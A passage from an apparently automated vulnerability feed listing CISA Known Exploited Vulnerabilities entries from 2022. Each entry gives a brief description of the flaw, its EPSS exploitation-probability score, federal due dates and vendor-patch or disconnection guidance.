https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Trend Micro Apex One and Apex One as a Service Improper Validation Vulnerability https://kevwire.com/record/CVE-2022-40139 Trend Micro Apex One and Apex One as a Service Improper Validation Vulnerability (Sep 15, 2022). Trend Micro Apex One and Apex One as a Service contain an improper validation of rollback mechanism components that could lead to remote code execution. EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-40139&date=2026-10-25). Sources: CISA KEV entry CVE-2022-40139: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-40139&date=2026-10-25 CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2013-6282 Linux Kernel Improper Input Validation Vulnerability (Sep 15, 2022). The get_user and put_user API functions of the Linux kernel fail to validate the target address when being used on ARM v6k/v7 platforms. This allows an application to read and write kernel memory which could lead to privilege escalation. EPSS 39.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-6282&date=2026-10-25). Sources: CISA KEV entry CVE-2013-6282: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-6282&date=2026-10-25 CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Code Aurora ACDB Audio Driver Stack-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2013-2597 Code Aurora ACDB Audio Driver Stack-based Buffer Overflow Vulnerability (Sep 15, 2022). The Code Aurora audio calibration database (acdb) audio driver contains a stack-based buffer overflow vulnerability that allows for privilege escalation. Code Aurora is used in third-party products such as Qualcomm and Android. EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2597&date=2026-10-25). Sources: CISA KEV entry CVE-2013-2597: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2597&date=2026-10-25 CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Integer Overflow Vulnerability https://kevwire.com/record/CVE-2013-2596 Linux Kernel Integer Overflow Vulnerability (Sep 15, 2022). Linux kernel fb_mmap function in drivers/video/fbmem.c contains an integer overflow vulnerability that allows for privilege escalation. EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2596&date=2026-10-25). Sources: CISA KEV entry CVE-2013-2596: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2596&date=2026-10-25 CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2013-2094 Linux Kernel Privilege Escalation Vulnerability (Sep 15, 2022). Linux kernel fails to check all 64 bits of attr.config passed by user space, resulting to out-of-bounds access of the perf_swevent_enabled array in sw_perf_event_destroy(). Explotation allows for privilege escalation. EPSS 47.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2094&date=2026-10-25). Sources: CISA KEV entry CVE-2013-2094: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2094&date=2026-10-25 CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2010-2568 Microsoft Windows Remote Code Execution Vulnerability (Sep 15, 2022). Microsoft Windows incorrectly parses shortcuts in such a way that malicious code may be executed when the operating system displays the icon of a malicious shortcut file. An attacker who successfully exploited this vulnerability could execute code as the logged-on user. EPSS 89.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-2568&date=2026-10-25). Sources: CISA KEV entry CVE-2010-2568: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-2568&date=2026-10-25 CISA added this entry on 2022-09-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 15, 2022; federal due date Oct 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-37969 Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability (Sep 14, 2022). Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation. EPSS 28.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-37969&date=2026-10-25). Sources: CISA KEV entry CVE-2022-37969: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-37969&date=2026-10-25 CISA added this entry on 2022-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 14, 2022; federal due date Oct 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS, iPadOS, and macOS Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-32917 Apple iOS, iPadOS, and macOS Remote Code Execution Vulnerability (Sep 14, 2022). Apple kernel, which is included in iOS, iPadOS, and macOS, contains an unspecified vulnerability where an application may be able to execute code with kernel privileges. EPSS 5.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-32917&date=2026-10-25). Sources: CISA KEV entry CVE-2022-32917: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-32917&date=2026-10-25 CISA added this entry on 2022-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 14, 2022; federal due date Oct 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium Mojo Insufficient Data Validation Vulnerability https://kevwire.com/record/CVE-2022-3075 Google Chromium Mojo Insufficient Data Validation Vulnerability (Sep 8, 2022). Google Chromium Mojo contains an insufficient data validation vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 5.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-3075&date=2026-10-25). Sources: CISA KEV entry CVE-2022-3075: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-3075&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP Photo Station Externally Controlled Reference Vulnerability https://kevwire.com/record/CVE-2022-27593 QNAP Photo Station Externally Controlled Reference Vulnerability (Sep 8, 2022). Certain QNAP NAS running Photo Station with internet exposure contain an externally controlled reference to a resource vulnerability which can allow an attacker to modify system files. This vulnerability was observed being utilized in a Deadbolt ransomware campaign. EPSS 87.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27593&date=2026-10-25). Sources: CISA KEV entry CVE-2022-27593: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27593&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DIR-820L Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-26258 D-Link DIR-820L Remote Code Execution Vulnerability (Sep 8, 2022). D-Link DIR-820L contains an unspecified vulnerability in Device Name parameter in /lan.asp which allows for remote code execution. EPSS 91.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26258&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26258: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26258&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS, iPadOS, and macOS Input Validation Vulnerability https://kevwire.com/record/CVE-2020-9934 Apple iOS, iPadOS, and macOS Input Validation Vulnerability (Sep 8, 2022). Apple iOS, iPadOS, and macOS contain an unspecified vulnerability involving input validation which can allow a local attacker to view sensitive user information. EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9934&date=2026-10-25). Sources: CISA KEV entry CVE-2020-9934: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9934&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### MikroTik RouterOS Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2018-7445 MikroTik RouterOS Stack-Based Buffer Overflow Vulnerability (Sep 8, 2022). In MikroTik RouterOS, a stack-based buffer overflow occurs when processing NetBIOS session request messages. Remote attackers with access to the service can exploit this vulnerability and gain code execution on the system. EPSS 65.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-7445&date=2026-10-25). Sources: CISA KEV entry CVE-2018-7445: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-7445&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link Multiple Routers OS Command Injection Vulnerability https://kevwire.com/record/CVE-2018-6530 D-Link Multiple Routers OS Command Injection Vulnerability (Sep 8, 2022). Multiple D-Link routers contain an unspecified vulnerability that allows for execution of OS commands. EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-6530&date=2026-10-25). Sources: CISA KEV entry CVE-2018-6530: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-6530&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The vendor D-Link published an advisory stating the fix under CVE-2018-20114 properly patches KEV entry CVE-2018-6530. If the device is still supported, apply updates per vendor instructions. If the affected device has since entered its end-of-life, it should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle WebLogic Server Unspecified Vulnerability https://kevwire.com/record/CVE-2018-2628 Oracle WebLogic Server Unspecified Vulnerability (Sep 8, 2022). Oracle WebLogic Server contains an unspecified vulnerability which can allow an unauthenticated attacker with T3 network access to compromise the server. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-2628&date=2026-10-25). Sources: CISA KEV entry CVE-2018-2628: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-2628&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiOS and FortiADC Improper Access Control Vulnerability https://kevwire.com/record/CVE-2018-13374 Fortinet FortiOS and FortiADC Improper Access Control Vulnerability (Sep 8, 2022). Fortinet FortiOS and FortiADC contain an improper access control vulnerability that allows attackers to obtain the LDAP server login credentials configured in FortiGate by pointing a LDAP server connectivity test request to a rogue LDAP server. EPSS 38.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-13374&date=2026-10-25). Sources: CISA KEV entry CVE-2018-13374: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-13374&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NETGEAR Multiple Devices Exposure of Sensitive Information Vulnerability https://kevwire.com/record/CVE-2017-5521 NETGEAR Multiple Devices Exposure of Sensitive Information Vulnerability (Sep 8, 2022). Multiple NETGEAR devices are prone to admin password disclosure via simple crafted requests to the web management server. EPSS 89.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-5521&date=2026-10-25). Sources: CISA KEV entry CVE-2017-5521: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-5521&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. If the affected device has since entered end-of-life, it should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DIR-300 Router Cleartext Storage of a Password Vulnerability https://kevwire.com/record/CVE-2011-4723 D-Link DIR-300 Router Cleartext Storage of a Password Vulnerability (Sep 8, 2022). The D-Link DIR-300 router stores cleartext passwords, which allows context-dependent attackers to obtain sensitive information. EPSS 3.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-4723&date=2026-10-25). Sources: CISA KEV entry CVE-2011-4723: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-4723&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android OS Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2011-1823 Android OS Privilege Escalation Vulnerability (Sep 8, 2022). The vold volume manager daemon in Android kernel trusts messages from a PF_NETLINK socket, which allows an attacker to execute code and gain root privileges. This vulnerability is associated with GingerBreak and Exploit.AndroidOS.Lotoor. EPSS 41.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-1823&date=2026-10-25). Sources: CISA KEV entry CVE-2011-1823: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-1823&date=2026-10-25 CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 8, 2022; federal due date Sep 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### dotCMS Unrestricted Upload of File Vulnerability https://kevwire.com/record/CVE-2022-26352 dotCMS Unrestricted Upload of File Vulnerability (Aug 25, 2022). dotCMS ContentResource API contains an unrestricted upload of file with a dangerous type vulnerability that allows for directory traversal, in which the file is saved outside of the intended storage location. Exploitation allows for remote code execution. EPSS 91.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26352&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26352&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache CouchDB Insecure Default Initialization of Resource Vulnerability https://kevwire.com/record/CVE-2022-24706 Apache CouchDB Insecure Default Initialization of Resource Vulnerability (Aug 25, 2022). Apache CouchDB contains an insecure default initialization of resource vulnerability which can allow an attacker to escalate to administrative privileges. EPSS 92.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24706&date=2026-10-25). Sources: CISA KEV entry CVE-2022-24706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24706&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache APISIX Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2022-24112 Apache APISIX Authentication Bypass Vulnerability (Aug 25, 2022). Apache APISIX contains an authentication bypass vulnerability that allows for remote code execution. EPSS 96.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24112&date=2026-10-25). Sources: CISA KEV entry CVE-2022-24112: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24112&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware Tanzu Spring Cloud Function Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-22963 VMware Tanzu Spring Cloud Function Remote Code Execution Vulnerability (Aug 25, 2022). When using routing functionality in VMware Tanzu's Spring Cloud Function, it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22963&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22963&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WebRTC Heap Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-2294 WebRTC Heap Buffer Overflow Vulnerability (Aug 25, 2022). WebRTC, an open-source project providing web browsers with real-time communication, contains a heap buffer overflow vulnerability that allows an attacker to perform shellcode execution. This vulnerability impacts web browsers using WebRTC including but not limited to Google Chrome. EPSS 70.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-2294&date=2026-10-25). Sources: CISA KEV entry CVE-2022-2294: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-2294&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Grafana Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2021-39226 Grafana Authentication Bypass Vulnerability (Aug 25, 2022). Grafana contains an authentication bypass vulnerability that allows authenticated and unauthenticated users to view and delete all snapshot data, potentially resulting in complete snapshot data loss. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-39226&date=2026-10-25). Sources: CISA KEV entry CVE-2021-39226: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-39226&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Delta Electronics DOPSoft 2 Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2021-38406 Delta Electronics DOPSoft 2 Improper Input Validation Vulnerability (Aug 25, 2022). Delta Electronics DOPSoft 2 lacks proper validation of user-supplied data when parsing specific project files (improper input validation) resulting in an out-of-bounds write that allows for code execution. EPSS 76.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38406&date=2026-10-25). Sources: CISA KEV entry CVE-2021-38406: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38406&date=2026-10-25 CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2022; federal due date Sep 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS, macOS, watchOS Sandbox Bypass Vulnerability https://kevwire.com/record/CVE-2021-31010 Apple iOS, macOS, watchOS Sandbox Bypass Vulnerability (Aug 25, 2022). In affected versions of Apple iOS, macOS, and watchOS, a sandboxed process may be able to circumvent sandbox restrictions. EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31010&date=2026-10-25). Sources: CISA KEV entry CVE-2021-31010: 